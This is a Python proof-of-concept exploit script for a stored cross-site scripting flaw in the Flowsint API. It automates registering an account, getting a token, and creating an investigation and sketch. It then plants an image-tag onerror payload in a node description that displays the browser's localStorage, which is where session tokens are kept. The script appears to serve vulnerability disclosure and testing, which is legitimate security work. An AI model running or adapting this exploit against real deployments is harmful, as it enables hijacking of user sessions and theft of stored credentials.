#!/venv/bin/python3

import argparse
import random
import string

import requests

# Made by sealldev

def random_string(length: int):
    """
    Generate a random string of letters and numbers of a specified length.
    """
    return "".join(random.choices(string.ascii_letters + string.digits, k=length))


class XssViaNodeDescription:
    """
    A generalised class to manage the web sessions and values for the exploit.
    """

    def __init__(self):
        self.username = random_string(20)
        self.password = random_string(20)
        self.email = f"{random_string(10)}@{random_string(10)}.com".lower()
        self.session = requests.Session()
        self.remote_ip = "localhost"
        self.remote_port = 5001
        self.insecure = False
        self.url = ""
        self.headers = {}
        self.payload = ""
        self.verbose = False

    def exploit(self):
        """
        Execute the exploit.
        """
        self.payload = self.craft_payload()
        self.register_user()
        self.get_token()
        investigation_id = self.create_investigation()
        sketch_id = self.create_sketch(investigation_id)
        self.create_phrase_xss(sketch_id)
        print(f"[+] Authenticate as {self.email} : {self.password}")
        print(
            f"[+] Exploit ready - visit http://localhost:5173/dashboard/investigations/{investigation_id}/graph/{sketch_id}"
        )

    def register_user(self):
        """
        Register a user on the /api/auth/register endpoint with randomly generated values.
        """
        json_payload = {
            "username": self.username,
            "email": self.email,
            "password": self.password,
        }
        res = self.session.post(
            f"{self.url}/api/auth/register",
            json=json_payload,
            verify=(not self.insecure),
        )
        if not res.status_code == 201:
            raise ValueError(
                f"[x] Expecting status code 201, recieved {res.status_code}"
            )
        res_data = res.json()
        message = res_data.get("message", "")
        if not message == "User registered successfully":
            raise ValueError(
                f'[x] Expected successful registration message, recieved "{message}".'
            )
        print("[+] User successfully registered!")
        if self.verbose:
            print(f"  - Username: {self.username}")
            print(f"  - Email: {self.email}")
            print(f"  - Password: {self.password}")
        return

    def get_token(self):
        """
        With a valid user's credentials, get a token for a user.
        """
        payload = {"username": self.email, "password": self.password}
        res = self.session.post(f"{self.url}/api/auth/token", data=payload)
        res_data = res.json()
        access_token = res_data.get("access_token", False)
        if not access_token:
            raise ValueError(
                f"[x] Exploitation failed, access token was not found in response.\n  - {res_data}"
            )
        self.headers = {"Authorization": f"Bearer {access_token}"}
        print("[+] Got access token!")
        if self.verbose:
            print(f"  - {access_token}...")
        return

    def create_investigation(self):
        """
        Create an investigation project, to then create a sketch within in 'create_sketch()'.
        """
        json_payload = {"name": random_string(20), "description": random_string(20)}
        res = self.session.post(
            f"{self.url}/api/investigations/create",
            json=json_payload,
            headers=self.headers,
        )
        res_data = res.json()
        investigation_id = res_data.get("id", False)
        if not investigation_id:
            raise ValueError(
                f"[x] Exploitation failed, investigation id was not found in response.\n  - {res_data}"
            )
        print('[+] Created an investigation "' + json_payload["name"] + '"')
        if self.verbose:
            print(f"  - Investigation ID: {investigation_id}")
        return investigation_id

    def create_sketch(self, investigation_id):
        """
        Create a sketch to execute the vulnerability within.
        """
        json_payload = {
            "title": random_string(20),
            "description": random_string(20),
            "investigation_id": investigation_id,
        }
        res = self.session.post(
            f"{self.url}/api/sketches/create", json=json_payload, headers=self.headers
        )
        res_data = res.json()
        sketch_id = res_data.get("id", False)
        if not sketch_id:
            raise ValueError(
                f"[x] Exploitation failed, sketch id was not found in response.\n  - Response: {res.content}\n  - Payload: {json_payload}"
            )
        print('[+] Created an sketch "' + json_payload["title"] + '"')
        if self.verbose:
            print(f"  - Sketch ID: {sketch_id}")
        return sketch_id

    def create_phrase_xss(self, sketch_id):
        """
        Create a phrase node on the sketch with an XSS payload in the description.
        """
        json_payload = {
            "type": "custom",
            "label": "XSS",
            "data": {
                "name": "XSS",
                "label": "XSS",
                "type": "phrase",
                "description": self.payload,
            },
        }
        res = self.session.post(
            f"{self.url}/api/sketches/{sketch_id}/nodes/add",
            json=json_payload,
            headers=self.headers,
        )
        if not res.status_code == 200:
            raise ValueError(
                f"[x] Expected status code 200 on exploit, recieved {res.status_code}"
            )
        print("[+] Created organisation node on the sketch")
        return

    def craft_payload(self):
        """
        Craft an XSS payload to alert with the contents of local storage.
        """
        return '<img src="x" onerror="alert(JSON.stringify(localStorage))"/>'


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "-rp",
        "--remote-port",
        help="The port for the remote Flowsint API (Default: 5001).",
        default=5001,
    )
    parser.add_argument(
        "-ri",
        "--remote-ip",
        help="The IP for the remote Flowsint API (Default: localhost).",
        default="localhost",
    )
    parser.add_argument(
        "-v",
        "--verbose",
        help="Enable verbosity in logging for extra detail when debugging (Default: False).",
        action="store_true",
    )
    parser.add_argument(
        "-k",
        "--insecure",
        help="Utilise HTTP for a connection to the website (Default: False).",
        action="store_true",
    )
    args = parser.parse_args()

    exploit = XssViaNodeDescription()
    if args.remote_port:
        exploit.remote_port = args.remote_port
    if args.remote_ip:
        exploit.remote_ip = args.remote_ip
    if args.insecure:
        exploit.insecure = args.insecure
    if args.verbose:
        exploit.verbose = args.verbose
    exploit.url = (
        f"{'http' if args.insecure else 'https'}://{args.remote_ip}:{args.remote_port}"
    )
    exploit.exploit()